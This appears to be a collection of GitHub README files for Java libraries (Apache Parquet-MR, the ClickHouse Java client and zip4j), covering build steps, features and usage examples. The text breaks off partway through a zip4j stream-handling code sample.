<!-- ~ Licensed to the Apache Software Foundation (ASF) under one ~ or more contributor license agreements. See the NOTICE file ~ distributed with this work for additional information ~ regarding copyright ownership. The ASF licenses this file ~ to you under the Apache License, Version 2.0 (the ~ "License"); you may not use this file except in compliance ~ with the License. You may obtain a copy of the License at ~ ~ http://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, ~ software distributed under the License is distributed on an ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY ~ KIND, either express or implied. See the License for the ~ specific language governing permissions and limitations ~ under the License. --> Parquet MR [![Build Status](https://github.com/apache/parquet-mr/workflows/Test/badge.svg)](https://github.com/apache/parquet-mr/actions) ====== Parquet-MR contains the java implementation of the [Parquet format](https://github.com/apache/parquet-format). Parquet is a columnar storage format for Hadoop; it provides efficient storage and encoding of data. Parquet uses the [record shredding and assembly algorithm](https://github.com/julienledem/redelm/wiki/The-striping-and-assembly-algorithms-from-the-Dremel-paper) described in the Dremel paper to represent nested structures. You can find some details about the format and intended use cases in our [Hadoop Summit 2013 presentation](http://www.slideshare.net/julienledem/parquet-hadoop-summit-2013) ## Building Parquet-MR uses Maven to build and depends on the thrift compiler (protoc is now managed by maven plugin). ### Install Thrift To build and install the thrift compiler, run: ``` wget -nv http://archive.apache.org/dist/thrift/0.19.0/thrift-0.19.0.tar.gz tar xzf thrift-0.19.0.tar.gz cd thrift-0.19.0 chmod +x ./configure ./configure --disable-libs sudo make install -j ``` If you're on OSX and use homebrew, you can instead install Thrift 0.19.0 with `brew` and ensure that it comes first in your `PATH`. ``` brew install thrift export PATH="/usr/local/opt/thrift@0.19.0/bin:$PATH" ``` ### Build Parquet with Maven Once protobuf and thrift are available in your path, you can build the project by running: ``` LC_ALL=C mvn clean install ``` ## Features Parquet is a very active project, and new features are being added quickly. Here are a few features: * Type-specific encoding * Hive integration (deprecated) * Pig integration * Cascading integration (deprecated) * Crunch integration * Apache Arrow integration * Scrooge integration (deprecated) * Impala integration (non-nested) * Java Map/Reduce API * Native Avro support * Native Thrift support * Native Protocol Buffers support * Complex structure support * Run-length encoding (RLE) * Bit Packing * Adaptive dictionary encoding * Predicate pushdown * Column stats * Delta encoding * Index pages * Java Vector API support (experimental) ## Java Vector API support `The feature is experimental and is currently not part of the parquet distribution`. Parquet-MR has supported Java Vector API to speed up reading, to enable this feature: * Java 17+, 64-bit * Requiring the CPU to support instruction sets: * avx512vbmi * avx512_vbmi2 * To build the jars: `mvn clean package -P vector-plugins` * For Apache Spark to enable this feature: * Build parquet and replace the parquet-encoding-{VERSION}.jar on the spark jars folder * Build parquet-encoding-vector and copy parquet-encoding-vector-{VERSION}.jar to the spark jars folder * Edit spark class#VectorizedRleValuesReader, function#readNextGroup refer to parquet class#ParquetReadRouter, function#readBatchUsing512Vector * Build spark with maven and replace spark-sql_2.12-{VERSION}.jar on the spark jars folder ## Map/Reduce integration [Input](https://github.com/apache/parquet-mr/blob/master/parquet-hadoop/src/main/java/org/apache/parquet/hadoop/ParquetInputFormat.java) and [Output](https://github.com/apache/parquet-mr/blob/master/parquet-hadoop/src/main/java/org/apache/parquet/hadoop/ParquetOutputFormat.java) formats. Note that to use an Input or Output format, you need to implement a WriteSupport or ReadSupport class, which will implement the conversion of your object to and from a Parquet schema. We've implemented this for 2 popular data formats to provide a clean migration path as well: ### Thrift Thrift integration is provided by the [parquet-thrift](https://github.com/apache/parquet-mr/tree/master/parquet-thrift) sub-project. ### Avro Avro conversion is implemented via the [parquet-avro](https://github.com/apache/parquet-mr/tree/master/parquet-avro) sub-project. ### Protobuf Protobuf conversion is implemented via the [parquet-protobuf](https://github.com/apache/parquet-mr/tree/master/parquet-protobuf) sub-project. ### Create your own objects * The ParquetOutputFormat can be provided a WriteSupport to write your own objects to an event based RecordConsumer. * the ParquetInputFormat can be provided a ReadSupport to materialize your own objects by implementing a RecordMaterializer See the APIs: * [Record conversion API](https://github.com/apache/parquet-mr/tree/master/parquet-column/src/main/java/org/apache/parquet/io/api) * [Hadoop API](https://github.com/apache/parquet-mr/tree/master/parquet-hadoop/src/main/java/org/apache/parquet/hadoop/api) ## Apache Pig integration A [Loader](https://github.com/apache/parquet-mr/blob/master/parquet-pig/src/main/java/org/apache/parquet/pig/ParquetLoader.java) and a [Storer](https://github.com/apache/parquet-mr/blob/master/parquet-pig/src/main/java/org/apache/parquet/pig/ParquetStorer.java) are provided to read and write Parquet files with Apache Pig Storing data into Parquet in Pig is simple: ``` -- options you might want to fiddle with SET parquet.page.size 1048576 -- default. this is your min read/write unit. SET parquet.block.size 134217728 -- default. your memory budget for buffering data SET parquet.compression lzo -- or you can use none, gzip, snappy STORE mydata into '/some/path' USING parquet.pig.ParquetStorer; ``` Reading in Pig is also simple: ``` mydata = LOAD '/some/path' USING parquet.pig.ParquetLoader(); ``` If the data was stored using Pig, things will "just work". If the data was stored using another method, you will need to provide the Pig schema equivalent to the data you stored (you can also write the schema to the file footer while writing it -- but that's pretty advanced). We will provide a basic automatic schema conversion soon. ## Hive integration Hive integration is provided via the [parquet-hive](https://github.com/apache/parquet-mr/tree/master/parquet-hive) sub-project. Hive integration is now deprecated within the Parquet project. It is now maintained by Apache Hive. ## Build To run the unit tests: `mvn test` To build the jars: `mvn package` The build runs in [GitHub Actions](https://github.com/apache/parquet-mr/actions): [![Build Status](https://github.com/apache/parquet-mr/workflows/Test/badge.svg)](https://github.com/apache/parquet-mr/actions) ## Add Parquet as a dependency in Maven The current release is version `1.13.0` ```xml <dependencies> <dependency> <groupId>org.apache.parquet</groupId> <artifactId>parquet-common</artifactId> <version>1.13.0</version> </dependency> <dependency> <groupId>org.apache.parquet</groupId> <artifactId>parquet-encoding</artifactId> <version>1.13.0</version> </dependency> <dependency> <groupId>org.apache.parquet</groupId> <artifactId>parquet-column</artifactId> <version>1.13.0</version> </dependency> <dependency> <groupId>org.apache.parquet</groupId> <artifactId>parquet-hadoop</artifactId> <version>1.13.0</version> </dependency> </dependencies> ``` ### How To Contribute We prefer to receive contributions in the form of GitHub pull requests. Please send pull requests against the [parquet-mr](https://github.com/apache/parquet-mr) Git repository. If you've previously forked Parquet from its old location, you will need to add a remote or update your origin remote to https://github.com/apache/parquet-mr.git If you are looking for some ideas on what to contribute, check out jira issues for this project labeled ["pick-me-up"](https://issues.apache.org/jira/browse/PARQUET-5?jql=project%20%3D%20PARQUET%20and%20labels%20%3D%20pick-me-up%20and%20status%20%3D%20open). Comment on the issue and/or contact [dev@parquet.apache.org](http://mail-archives.apache.org/mod_mbox/parquet-dev/) with your questions and ideas. If you’d like to report a bug but don’t have time to fix it, you can still post it to our [issue tracker](https://issues.apache.org/jira/browse/PARQUET), or email the mailing list [dev@parquet.apache.org](http://mail-archives.apache.org/mod_mbox/parquet-dev/) To contribute a patch: 1. Break your work into small, single-purpose patches if possible. It’s much harder to merge in a large change with a lot of disjoint features. 2. Create a JIRA for your patch on the [Parquet Project JIRA](https://issues.apache.org/jira/browse/PARQUET). 3. Submit the patch as a GitHub pull request against the master branch. For a tutorial, see the GitHub guides on forking a repo and sending a pull request. Prefix your pull request name with the JIRA name (ex: https://github.com/apache/parquet-mr/pull/240). 4. Make sure that your code passes the unit tests. You can run the tests with `mvn test` in the root directory. 5. Add new unit tests for your code. We tend to do fairly close readings of pull requests, and you may get a lot of comments. Some common issues that are not code structure related, but still important: * Use 2 spaces for whitespace. Not tabs, not 4 spaces. The number of the spacing shall be 2. * Give your operators some room. Not `a+b` but `a + b` and not `foo(int a,int b)` but `foo(int a, int b)`. * Generally speaking, stick to the [Sun Java Code Conventions](http://www.oracle.com/technetwork/java/javase/documentation/codeconvtoc-136057.html) * Make sure tests pass! Thank you for getting involved! ## Authors and contributors * [Contributors](https://github.com/apache/parquet-mr/graphs/contributors) * [Committers](dev/COMMITTERS.md) ## Code of Conduct We hold ourselves and the Parquet developer community to two codes of conduct: 1. [The Apache Software Foundation Code of Conduct](https://www.apache.org/foundation/policies/conduct.html) 2. [The Twitter OSS Code of Conduct](https://github.com/twitter/code-of-conduct/blob/master/code-of-conduct.md) ## Discussions * Mailing list: [dev@parquet.apache.org](http://mail-archives.apache.org/mod_mbox/parquet-dev/) * Bug tracker: [jira](https://issues.apache.org/jira/browse/PARQUET) * Discussions also take place in github pull requests ## License Licensed under the Apache License, Version 2.0: http://www.apache.org/licenses/LICENSE-2.0
0
ClickHouse/clickhouse-java
Java client and JDBC driver for ClickHouse
clickhouse java-client jdbc jdbc-driver
# ClickHouse Java Libraries [![GitHub release (latest SemVer including pre-releases)](https://img.shields.io/github/v/release/ClickHouse/clickhouse-java?style=plastic&include_prereleases&label=Latest%20Release)](https://github.com/ClickHouse/clickhouse-java/releases/) [![GitHub release (by tag)](https://img.shields.io/github/downloads/ClickHouse/clickhouse-java/latest/total?style=plastic)](https://github.com/ClickHouse/clickhouse-java/releases/) [![Coverage](https://sonarcloud.io/api/project_badges/measure?project=ClickHouse_clickhouse-jdbc&metric=coverage)](https://sonarcloud.io/summary/new_code?id=ClickHouse_clickhouse-jdbc) [![Sonatype Nexus (Snapshots)](https://img.shields.io/nexus/s/com.clickhouse/clickhouse-java?style=plastic&label=Nightly%20Build&server=https%3A%2F%2Fs01.oss.sonatype.org)](https://s01.oss.sonatype.org/content/repositories/snapshots/com/clickhouse/) [![GitHub milestone](https://img.shields.io/github/milestones/progress-percent/ClickHouse/clickhouse-java/4?style=social)](https://github.com/ClickHouse/clickhouse-java/milestone/4) Java libraries for connecting to ClickHouse and processing data in various formats. Java client is async, lightweight, and low-overhead library for ClickHouse; while JDBC and R2DBC drivers are built on top of the Java client with more dependencies and features. Java 8 or higher is required to use the libraries. In addition, please use ClickHouse 20.7+ or any of [active releases](https://github.com/ClickHouse/ClickHouse/pulls?q=is%3Aopen+is%3Apr+label%3Arelease). ![image](https://user-images.githubusercontent.com/4270380/212460181-2b806482-bc1c-492c-bd69-cdeb2c8845b5.png) ## Features | Category | Feature | Supported | Remark | | ----------------- | ----------------------------------------------------------------------------------- | ------------------ |--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | API | [JDBC](https://docs.oracle.com/javase/8/docs/technotes/guides/jdbc/) | :white_check_mark: | | | | [R2DBC](https://r2dbc.io/) | :white_check_mark: | supported since 0.4.0 | | Protocol | [HTTP](https://clickhouse.com/docs/en/interfaces/http/) | :white_check_mark: | recommended, defaults to `java.net.HttpURLConnection` and it can be changed to `java.net.http.HttpClient`(unstable) or `Apache HTTP Client 5`. Note that the latter was added in 0.4.0 to support custom socket options. | | | [gRPC](https://clickhouse.com/docs/en/interfaces/grpc/) | :white_check_mark: | :warning: experimental, works with 22.3+, known to has issue with lz4 compression and may cause high memory usage on server. Planed to be removed from version 0.7.0 | | | [TCP/Native](https://clickhouse.com/docs/en/interfaces/tcp/) | :x: | `clickhouse-cli-client`(wrapper of ClickHouse native command-line client) was added in 0.3.2-patch10. | | | [Local/File](https://clickhouse.com/docs/en/operations/utilities/clickhouse-local/) | :x: | `clickhouse-cli-client` will be enhanced to support `clickhouse-local` | | Compatibility | Server < 20.7 | :x: | use 0.3.1-patch(or 0.2.6 if you're stuck with JDK 7) | | | Server >= 20.7 | :white_check_mark: | use 0.3.2 or above. All [active releases](https://github.com/ClickHouse/ClickHouse/pulls?q=is%3Aopen+is%3Apr+label%3Arelease) are supported. | | Compression | [lz4](https://lz4.github.io/lz4/) | :white_check_mark: | default | | | [zstd](https://facebook.github.io/zstd/) | :white_check_mark: | supported since 0.4.0, works with ClickHouse 22.10+ | | Data Format | RowBinary | :white_check_mark: | `RowBinaryWithNamesAndTypes` for query and `RowBinary` for insertion | | | TabSeparated | :white_check_mark: | :warning: does not support as many data types as RowBinary | | Data Type | AggregateFunction | :white_check_mark: | :warning: does not support `SELECT * FROM table ...` | | | Array(\*) | :white_check_mark: | | | | Bool | :white_check_mark: | | | | Date\* | :white_check_mark: | | | | DateTime\* | :white_check_mark: | | | | Decimal\* | :white_check_mark: | `SET output_format_decimal_trailing_zeros=1` in 21.9+ for consistency | | | Enum\* | :white_check_mark: | can be treated as both string and integer | | | Geo Types | :white_check_mark: | Point, Ring, Polygon, and MultiPolygon | | | Int\*, UInt\* | :white_check_mark: | UInt64 is mapped to `long` | | | IPv\* | :white_check_mark: | | | | Map(\*) | :white_check_mark: | | | | Nested(\*) | :white_check_mark: | :warning: broken before 0.4.1 | | | Object('JSON') | :white_check_mark: | supported since 0.3.2-patch8 | | | SimpleAggregateFunction | :white_check_mark: | | | | \*String | :white_check_mark: | :warning: requires `use_binary_string=true` for binary string support since v0.4.0 | | | Tuple(\*) | :white_check_mark: | | | | UUID | :white_check_mark: | | | High Availability | Load Balancing | :white_check_mark: | supported since 0.3.2-patch10 | | | Failover | :white_check_mark: | supported since 0.3.2-patch10 | | Transaction | Transaction | :white_check_mark: | supported since 0.3.2-patch11, use ClickHouse 22.7+ for native implicit transaction support | | | Savepoint | :x: | | | | XAConnection | :x: | | | Misc. | Centralized Configuration | :white_check_mark: | supported since 0.4.2, limited to JDBC driver and requires custom server setting `custom_jdbc_config` for all connected JDBC clients - [#1290](../../pull/1290) | | | INFILE & OUTFILE | :white_check_mark: | supported since 0.4.2, limited to JDBC driver and requires `localFile` option - [#1291](../../pull/1291) | | | Implicit Type Conversion | :white_check_mark: | String/number to Date/Time/Timestamp and more | | | Object mapping | :white_check_mark: | supported since 0.4.6, slow and limited to simple data types | ## Planed to be removed | Feature | Version | Remark | |--------------------------------|---------|--------------------------------------------------| | Clickhouse ClI Client package | 0.7.0 | Use clickhouse-client directly instead | | ClickHouse GRPC Client package | 0.7.0 | Please use the clickhouse http protocol instead | ## Usage The library can be downloaded from both [Github Releases](../../releases) and [Maven Central](https://repo1.maven.org/maven2/com/clickhouse/). Development snapshots(aka. nightly build) are available on [Sonatype OSSRH](https://s01.oss.sonatype.org/content/repositories/snapshots/com/clickhouse/). ```xml <repositories> <repository> <id>ossrh</id> <name>Sonatype OSSRH</name> <url>https://s01.oss.sonatype.org/content/repositories/snapshots/</url> </repository> </repositories> ``` ### Java Client See [examples](../../tree/main/examples/client) and the [docs on the ClickHouse website](https://clickhouse.com/docs/en/integrations/language-clients/java/client). ### JDBC Driver See [examples](../../tree/main/examples/jdbc) and the [docs on the ClickHouse website](https://clickhouse.com/docs/en/integrations/language-clients/java/jdbc). ## Contributing Check out our [contributing guide](./CONTRIBUTING.md).
0
srikanth-lingala/zip4j
A Java library for zip files and streams
java-zip split-zip zip-encryption zip4j
[![javadoc](https://javadoc.io/badge2/net.lingala.zip4j/zip4j/javadoc.svg)](https://javadoc.io/doc/net.lingala.zip4j/zip4j) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/net.lingala.zip4j/zip4j/badge.svg)](https://maven-badges.herokuapp.com/maven-central/net.lingala.zip4j/zip4j) [![Build Status](https://github.com/srikanth-lingala/zip4j/actions/workflows/maven.yml/badge.svg)](https://github.com/srikanth-lingala/zip4j/actions/workflows/maven.yml) [![Android Build Status](https://circleci.com/gh/srikanth-lingala/zip4j-android-test.svg?style=svg)](https://circleci.com/gh/srikanth-lingala/zip4j-android-test) [![Known Vulnerabilities](https://snyk.io//test/github/srikanth-lingala/zip4j/badge.svg?targetFile=pom.xml)](https://snyk.io//test/github/srikanth-lingala/zip4j?targetFile=pom.xml) Zip4j - A Java library for zip files / streams ========================= ## Thank you for rating Zip4j as the best Java library for zip files <sup>[[1][1], [2][2], [3][3], [4][4]]</sup>. It has encouraged me to bring this project to life again after a gap of several years. I tried to add some of the important features that were requested over this time, and also made the API much more neater. The newer version (> 2.0.0) now supports streams, which was understandably, one of the most requested feature. If you have any feedback, bugs to report, feature requests, etc, please open an issue here on GitHub. I will try to address them as soon as I can. I also monitor the tag `zip4j` on [Stack Overflow][10]. ## About Zip4j is the most comprehensive Java library for zip files or streams. As of this writing, it is the only Java library which has support for zip encryption, apart from several other features. It tries to make handling zip files/streams a lot more easier. No more clunky boiler plate code with input streams and output streams. As you can see in the usage section below, working with zip files can now even be a single line of code, compared to [this][5]. I mean no offense to the Java's built-in zip support. In fact, this library depends on Java's built-in zip code and it would have been significantly more ~~complicated~~ challenging if I had to write compression logic as well. But lets be honest, working with zip files or streams can be a lot of boiler plate code. The main goal of this library is to provide a simple API for all usual actions of a zip file or streams by doing the heavy lifting within the library and not have developers worry about having to deal with streams, etc. Apart from usability, another important goal of this library is to provide support for as many zip features as possible, which brings me to: ## Features * Create, Add, Extract, Update, Remove files from a zip file * Support for streams (ZipInputStream and ZipOutputStream) * Read/Write password protected zip files and streams * Support for both AES and zip standard encryption methods * Support for Zip64 format * Store (No Compression) and Deflate compression method * Create or extract files from split zip files (Ex: z01, z02,...zip) * Support for Unicode file names and comments in zip * Progress Monitor - for integration into apps and user facing applications ## Background Zip4j was started by me (Srikanth Reddy Lingala) back in 2008/2009, when I realized the lack of support for majority of zip format features in Java. And also working with zip files was, as mentioned several times above, a lot of boiler plate code, having to deal with streams (worse still, it was back in the days when there was no try-with-resources in Java). There was also no comprehensive library which supports zip features. So, I decided to write one, and approximately after a year, the first version was out. The response was truly overwhelming, and I got a lot of support right from the next day of release. It was not put on GitHub as git/GitHub was not as popular as it is now. Code was hosted on my website, as, guess what, a zip file :). And unfortunately, after a year or two after the initial release, life got busy and I was not able to support Zip4j as much as I wanted to. But the overwhelming encouragement I got over the years made me start working on Zip4j once again, and makes me support Zip4j as much as I can. ## Requirements JDK 7 or later<sup>*</sup> <sup>*</sup> Zip4j is written on JDK 8, as some of the features (NIO) that Zip4j supports requires features available only in JDK 8. However, considering the fact that Zip4j is widely used in Android, and to support older versions of Android, Zip4j supports JDK 7 as well. In cases where the feature/class from JDK 8 is missing, Zip4j falls back to the features available in JDK 7. In other words, when running on JDK 7, not all features will be supported. ## Maven ```xml <dependency> <groupId>net.lingala.zip4j</groupId> <artifactId>zip4j</artifactId> <version>2.11.5</version> </dependency> ``` Please check the latest version number on [Maven Central][6]. ## Usage ### Creating a zip file with single file in it / Adding single file to an existing zip ```java new ZipFile("filename.zip").addFile("filename.ext"); ``` &nbsp;&nbsp; Or ```java new ZipFile("filename.zip").addFile(new File("filename.ext")); ``` ### Creating a zip file with multiple files / Adding multiple files to an existing zip ```java new ZipFile("filename.zip").addFiles(Arrays.asList(new File("first_file"), new File("second_file"))); ``` ### Creating a zip file by adding a folder to it / Adding a folder to an existing zip ```java new ZipFile("filename.zip").addFolder(new File("/users/some_user/folder_to_add")); ``` Since v2.6, it is possible to exclude certain files when adding a folder to zip by using an ExcludeFileFilter ```java ExcludeFileFilter excludeFileFilter = filesToExclude::contains; ZipParameters zipParameters = new ZipParameters(); zipParameters.setExcludeFileFilter(excludeFileFilter); new ZipFile("filename.zip").addFolder(new File("/users/some_user/folder_to_add"), zipParameters); ``` ### Creating a zip file from stream / Adding a stream to an existing zip ```java new ZipFile("filename.zip").addStream(inputStream, new ZipParameters()); ``` Passing in `new ZipParameters()`, as in the above example, will make Zip4j use default zip parameters. Please look at [ZipParameters][7] to see the default configuration. ### Creating a zip file of compression method STORE / Adding entries to zip file of compression method STORE By default Zip4j uses Deflate compression algorithm to compress files. However, if you would like to not use any compression (called STORE compression), you can do so as shown in the example below: ```java ZipParameters zipParameters = new ZipParameters(); zipParameters.setCompressionMethod(CompressionMethod.STORE); new ZipFile("filename.zip").addFile("fileToAdd", zipParameters); ``` You can similarly pass in zip parameters to all the other examples to create a zip file of STORE compression. ### Creating a password protected zip file / Adding files to an existing zip with password protection ##### AES encryption ```java ZipParameters zipParameters = new ZipParameters(); zipParameters.setEncryptFiles(true); zipParameters.setEncryptionMethod(EncryptionMethod.AES); // Below line is optional. AES 256 is used by default. You can override it to use AES 128. AES 192 is supported only for extracting. zipParameters.setAesKeyStrength(AesKeyStrength.KEY_STRENGTH_256); List<File> filesToAdd = Arrays.asList( new File("somefile"), new File("someotherfile") ); ZipFile zipFile = new ZipFile("filename.zip", "password".toCharArray()); zipFile.addFiles(filesToAdd, zipParameters); ``` ##### Zip standard encryption Instead of AES, replace `zipParameters.setEncryptionMethod(EncryptionMethod.AES);` with `zipParameters.setEncryptionMethod(EncryptionMethod.ZIP_STANDARD);`. You can omit the line to set AES key strength. As the name suggests, this is only applicable for AES encryption. In all the above examples, you can similarly pass in zip parameters with appropriate password configuration to create a password protected zip file. ### Creating a split zip file If you want to split the zip file over several files when the size exceeds a particular limit, you can do so like this: ```java List<File> filesToAdd = Arrays.asList( new File("somefile"), new File("someotherfile") ); ZipFile zipFile = new ZipFile("filename.zip"); zipFile.createSplitZipFile(filesToAdd, new ZipParameters(), true, 10485760); // using 10MB in this example ``` Passing in `new ZipParameters()`, as in the above example, will make Zip4j use default zip parameters. Please look at [ZipParameters][7] to see the default configuration. Zip file format specifies a minimum of 65536 bytes (64KB) as a minimum length for split files. Zip4j will throw an exception if anything less than this value is specified. To create a split zip with password protection, pass in appropriate ZipParameters as shown in the example below: ```java ZipParameters zipParameters = new ZipParameters(); zipParameters.setEncryptFiles(true); zipParameters.setEncryptionMethod(EncryptionMethod.AES); List<File> filesToAdd = Arrays.asList( new File("somefile"), new File("someotherfile") ); ZipFile zipFile = new ZipFile("filename.zip", "password".toCharArray()); zipFile.createSplitZipFile(filesToAdd, zipParameters, true, 10485760); // using 10MB in this example ``` ### Zip64 format Zip64 is a zip feature which allows support for zip files when the size of the zip file exceeds the maximum that can be stored in 4 bytes (i.e., greater than 4,294,967,295 bytes). Traditionally, zip headers have a provision of 4 bytes to store for file sizes. But with growing file sizes compared to a few decades back, zip file format extended support of file sizes which extends 4 bytes by adding additional headers which uses 8 bytes for file sizes (compressed and uncompressed file sizes). This feature is known as Zip64. Zip4j will automatically make a zip file with Zip64 format and add appropriate headers, when it detects the zip file to be crossing this file size limit. You do not have to explicitly specify any flag for Zip4j to use this feature. ### Extracting all files from a zip ```java new ZipFile("filename.zip").extractAll("/destination_directory"); ``` ### Extracting all files from a password protected zip ```java new ZipFile("filename.zip", "password".toCharArray()).extractAll("/destination_directory"); ``` ### Extracting a single file from zip ```java new ZipFile("filename.zip").extractFile("fileNameInZip.txt", "/destination_directory"); ``` ### Extracting a folder from zip (since v2.6.0) ```java new ZipFile("filename.zip").extractFile("folderNameInZip/", "/destination_directory"); ``` ### Extracting a single file from zip which is password protected ```java new ZipFile("filename.zip", "password".toCharArray()).extractFile("fileNameInZip.txt", "/destination_directory"); ``` Since v2.6.0: If the file name represents a directory, Zip4j will extract all files in the zip that are part of this directory. ### Extracting a single file from zip and giving it a new file name Below example will extract the file `fileNameInZip.txt` from the zip file to the output directory `/destination_directory` and will give the file the name `newfileName.txt`. Without the third parameter of the new file name, the same name as the file in the zip will be used, which in this case is `fileNameInZip.txt`. If the file being extracted is a directory, `newFileName` parameter will be used as the directory name. ```java new ZipFile("filename.zip", "password".toCharArray()).extractFile("fileNameInZip.txt", "/destination_directory", "newfileName.txt"); ``` ### Get an input stream for an entry in a zip file ```java ZipFile zipFile = new ZipFile("filename.zip"); FileHeader fileHeader = zipFile.getFileHeader("entry_name_in_zip.txt"); InputStream inputStream = zipFile.getInputStream(fileHeader); ``` You can now use this input stream to read content from it/write content to an output stream. Please note that the entry/file name is relative to the directory it is in. If `entry_name_in_zip.txt` is in a folder called "root_folder" in the zip, then you have to use `zipFile.getFileHeader("root_folder/entry_name_in_zip.txt");`. ### Remove a file/entry from a zip file ```java new ZipFile("filename.zip").removeFile("fileNameInZipToRemove"); ``` If `fileNameInZipToRemove` represents a folder all the files and folders under this folder will be removed as well (this is valid since v2.5.0 of Zip4j. All prior versions remove just the single entry even if it is a folder). Please note that the file name is relative the root folder in zip. That is, if the file you want to remove exists in a folder called "folder1", which in-turn exists in a folder called "root-folder", removing this file from zip has to be done as below: ```java new ZipFile("filename.zip").removeFile("root-folder/folder1/fileNameInZipToRemove"); ``` If you want to be sure that the file you want to remove exists in zip file or if you don't want to deal with file names as string when using the `removeFile` API, you can use the other overloaded method which takes in a `FileHeader`: ```java ZipFile zipFile = new ZipFile("someZip.zip"); FileHeader fileHeader = zipFile.getFileHeader("fileNameInZipToRemove"); if (fileHeader == null) { // file does not exist } zipFile.removeFile(fileHeader); ``` Since v2.5.0 of Zip4j, it is possible to remove multiple files and folders from a zip file. You can now pass in a list as shown in the code below: ```java ZipFile zipFile = new ZipFile("someZip.zip"); List<String> filesToRemove = Arrays.asList("file1.txt", "file2.txt", "some-folder/", "some-new-folder-1/somefile.pdf"); zipFile.removeFiles(filesToRemove); ``` The above code will remove `file1.txt`, `file2.txt`, all files and folders under `some-folder` (including `some-folder`) and just the entry `somefile.pdf` in folder `some-new-folder-1`. All other files and folders are kept intact in the zip file. ### Rename entries in the zip file There are three ways to rename an entry in a zip file with Zip4j. One way is to pass in a file header and the new file name: ```java ZipFile zipFile = new ZipFile("sample.zip"); FileHeader fileHeader = zipFile.getFileHeader("entry-to-be-changed.pdf"); zipFile.renameFile(fileHeader, "new-file-name.pdf"); ``` Second way is to pass in just the file name to be changed (instead of the file header), and the new file name. ```java new ZipFile("filename.zip").renameFile("entry-to-be-changed.pdf", "new-file-name.pdf"); ``` It is also possible to change multiple file names at once. In this case you have to use a map, with the key of the entry in the map being the entry to be changed, and the value of the map being the new file name: ```java Map<String, String> fileNamesMap = new HashMap<>(); fileNamesMap.put("firstFile.txt", "newFileFirst.txt"); fileNamesMap.put("secondFile.pdf", "newSecondFile.pdf"); fileNamesMap.put("some-folder/thirdFile.bin", "some-folder/newThirdFile.bin"); new ZipFile("filename.zip").renameFiles(fileNamesMap); ``` To modify an entry name which is inside a folder, the new file name should contain the complete parent path as well. For example, if an entry by the name `some-entry.pdf` is in the folder `some-folder/some-sub-folder/`, to modify this entry name to `some-new-entry.pdf`: ```java new ZipFile("filename.zip").renameFile("some-folder/some-sub-folder/some-entry.pdf", "some-folder/some-sub-folder/new-entry.pdf"); ``` If the parent path is missing, then the file will be put at the root of the zip file. In the below example, after the file is renamed, `some-new-entry.pdf` will exist at the root of the zip file instead of at `some-folder/some-sub-folder/`: ```java new ZipFile("filename.zip").renameFile("some-folder/some-sub-folder/some-entry.pdf", "some-new-entry.pdf"); ``` This also gives the flexibility to "move" the entry to a different folder. The below example will move the `some-entry.pdf` from `some-folder/some-sub-folder/` to `folder-to-be-moved-to/sub-folder/` and the file will also be renamed to `new-entry.pdf`. To just move the file, use the same file name instead of a new file name. ```java new ZipFile("filename.zip").renameFile("some-folder/some-sub-folder/some-entry.pdf", "folder-to-be-moved-to/sub-folder/new-entry.pdf"); ``` If the entry being modified is a directory, all entries that are part of that directory will be renamed so that all of them have the new folder name as parent. In zip format, all entry names under a directory will contain the full name as their file name. For example if there is an entry by the name `filename.txt` inside a directory `directoryName`, the file name for the entry will be `directoryName/filename.txt`. And if the name of the directory has now been changed to `newDirectoryName`, the entry under it will also be changed to `newDirectoryName/filename.txt`, so when the zip file is extracted, `filename.txt` will be under `newDirectoryName`. Zip file format does not allow modifying split zip files, and Zip4j will throw an exception if an attempt is made to rename files in a split zip file. ### Merging split zip files into a single zip This is the reverse of creating a split zip file, that is, this feature will merge a zip file which is split across several files into a single zip file: ```java new ZipFile("split_zip_file.zip").mergeSplitFiles(new File("merged_zip_file.zip")); ``` This method will throw an exception if the split zip file (in this case `split_zip_file.zip`) is not a split zip file. ### List all files in a zip ```java List<FileHeader> fileHeaders = new ZipFile("zipfile.zip").getFileHeaders(); fileHeaders.stream().forEach(fileHeader -> System.out.println(fileHeader.getFileName())); ``` You can get all other information from the `FileHeader` object corresponding to each file/entry in the zip. ### Check if a zip file is password protected ```java new ZipFile("encrypted_zip_file.zip").isEncrypted(); ``` ### Check if a zip file is a split zip file ```java new ZipFile("split_zip_file.zip").isSplitArchive(); ``` ### Set comment for a zip file ```java new ZipFile("some_zip_file.zip").setComment("Some comment"); ``` ### Remove comment of a zip file ```java new ZipFile("some_zip_file.zip").setComment(""); ``` ### Get comment of a zip file ```java new ZipFile("some_zip_file.zip").getComment(); ``` ### Check if a zip file is valid Note: This will only check for the validity of the headers and not the validity of each entry in the zip file. ```java new ZipFile("valid_zip_file.zip").isValidZipFile(); ``` ## Working with streams ### Adding entries with ZipOutputStream ```java import net.lingala.zip4j.io.outputstream.ZipOutputStream; import net.lingala.zip4j.model.ZipParameters; import net.lingala.zip4j.model.enums.AesKeyStrength; import net.lingala.zip4j.model.enums.CompressionMethod; import net.lingala.zip4j.model.enums.EncryptionMethod; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.List; public class ZipOutputStreamExample { public void zipOutputStreamExample(File outputZipFile, List<File> filesToAdd, char[] password, CompressionMethod compressionMethod, boolean encrypt, EncryptionMethod encryptionMethod, AesKeyStrength aesKeyStrength) throws IOException { ZipParameters zipParameters = buildZipParameters(compressionMethod, encrypt, encryptionMethod, aesKeyStrength); byte[] buff = new byte[4096]; int readLen; try(ZipOutputStream zos = initializeZipOutputStream(outputZipFile, encrypt, password)) { for (File fileToAdd : filesToAdd) { // Entry size has to be set if you want to add entries of STORE compression method (no compression) // This is not required for deflate compression if (zipParameters.getCompressionMethod() == CompressionMethod.STORE) { zipParameters.setEntrySize(fileToAdd.length()); } zipParameters.setFileNameInZip(fileToAdd.getName()); zos.putNextEntry(zipParameters); try(InputStream inputStream = new FileInputStream(fileToAdd)) { while ((readLen = inputStream.read(buff)) != -1) { zos.write(buff, 0, readLen); } } zos.closeEntry(); } } } private ZipOutputStream initializeZipOutputStream(File outputZipFile, boolean encrypt, char[] password) throws IOException { FileOutputStream fos = new FileOutputStream(outputZipFile); if (encrypt) { return new ZipOutputStream(fos, password); } return new ZipOutputStream(fos); } private ZipParameters buildZipParameters(CompressionMethod compressionMethod, boolean encrypt, EncryptionMethod 